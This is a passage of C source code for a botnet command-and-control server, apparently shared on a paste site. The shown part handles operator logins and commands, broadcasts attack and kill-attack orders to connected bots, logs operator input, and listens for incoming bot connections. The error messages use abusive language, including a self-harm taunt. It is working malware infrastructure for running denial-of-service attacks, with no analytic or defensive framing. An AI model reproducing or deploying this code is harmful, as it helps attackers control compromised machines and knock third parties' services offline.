  722. sprintf(helpline25, "\x1b[37mLOGOUT \x1b[36m- \x1b[37mExit da net\r\n");
  723.  
  724.  
  725.  
  726. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  727. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  728. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  729. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  730. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  731. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  732. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  733. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  734. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  735. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  736. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  737. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  738. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  739. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  740. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  741. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  742. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  750. pthread_create(&title, NULL, &TitleWriter, sock);
  751. continue;
  752. }
  753. if(strstr(buf, "KILL"))
  754. {
  755. char killattack [2048];
  756. memset(killattack, 0, 2048);
  757. char killattack_msg [2048];
  758.  
  759. sprintf(killattack, "!* KILLATTCK\r\n");
  760. broadcast(killattack, datafd, "!* KILLATTK");
  761.  
  762. sprintf(killattack_msg, "DD0S Attacked Stopped\r\n");
  763. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  764. continue;
  765. }
  766. if(strstr(buf, "CLEAR"))
  767. {
  768. char clearscreen [2048];
  769. memset(clearscreen, 0, 2048);
  770. sprintf(clearscreen, "\033[2J\033[1;1H");
  771. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  772. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  783. while(1) {
  784. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  785. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  786. break;
  787. }
  788. continue;
  789. }
  790. if(strstr(buf, "LOGOUT"))
  791. {
  792. char logoutmessage [2048];
  793. memset(logoutmessage, 0, 2048);
  794. sprintf(logoutmessage, "Good bye!, %s, and have a great day", accounts[find_line].username);
  795. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  796. sleep(5);
  797. goto end;
  798. }
  799. trim(buf);
  800. if(send(datafd, "\x1b[36m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  801. if(strlen(buf) == 0) continue;
  802. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  803.  
  804. FILE *LogFile;
  805. LogFile = fopen("server_log.txt", "a");
  806. time_t now;
  807. struct tm *gmt;
  808. char formatted_gmt [50];
  809. char lcltime[50];
  810. now = time(NULL);
  811. gmt = gmtime(&now);
  812. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  813. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  814. fclose(LogFile);
  815. broadcast(buf, datafd, accounts[find_line].username);
  816. memset(buf, 0, 2048);
  817. }
  818. end:
  819. managements[datafd].connected = 0;
  820. close(datafd);
  821. OperatorsConnected--;
  822. }
  823. void *BotListener(int port) {
  824. int sockfd, newsockfd;
  825. socklen_t clilen;
  826. struct sockaddr_in serv_addr, cli_addr;
  827. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  828. if (sockfd < 0) perror("Read the fucking guide");
  829. bzero((char *) &serv_addr, sizeof(serv_addr));
  830. serv_addr.sin_family = AF_INET;
  831. serv_addr.sin_addr.s_addr = INADDR_ANY;
  832. serv_addr.sin_port = htons(port);
  833. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("You stupid bitch");
  834. listen(sockfd,5);
  835. clilen = sizeof(cli_addr);
  836. while(1) {
  837. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  838. if (newsockfd < 0) perror("Just kys now");
  839. pthread_t thread;
  840. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  841. }}
  842. int main (int argc, char *argv[], void *sock)
  843. {
  844. signal(SIGPIPE, SIG_IGN);
  845. int s, threads, port;
  846. struct epoll_event event;
  847. if (argc != 4) {
  848. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  849. exit (EXIT_FAILURE);
  850. }
  851. port = atoi(argv[3]);
  852. telFD = fopen("telnet.txt", "a+");
  853. threads = atoi(argv[2]);
  854. listenFD = create_and_bind (argv[1]);
  855. if (listenFD == -1) abort ();
  856. s = make_socket_non_blocking (listenFD);
  857. if (s == -1) abort ();
  858. s = listen (listenFD, SOMAXCONN);
  859. if (s == -1) {
  860. perror ("listen");
  861. abort ();
  862. }
  863. epollFD = epoll_create1 (0);
  864. if (epollFD == -1) {
  865. perror ("epoll_create");
  866. abort ();
  867. }
  868. event.data.fd = listenFD;
  869. event.events = EPOLLIN | EPOLLET;
  870. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  871. if (s == -1) {
  872. perror ("epoll_ctl");
  873. abort ();
  874. }
  875. pthread_t thread[threads + 2];
  876. while(threads--) {
  877. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  878. }
  879. pthread_create(&thread[0], NULL, &BotListener, port);
  880. while(1) {
  881. broadcast("PING", -1, "LEL");
  882. sleep(60);
  883. }
  884. close (listenFD);
  885. return EXIT_SUCCESS;
  886. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement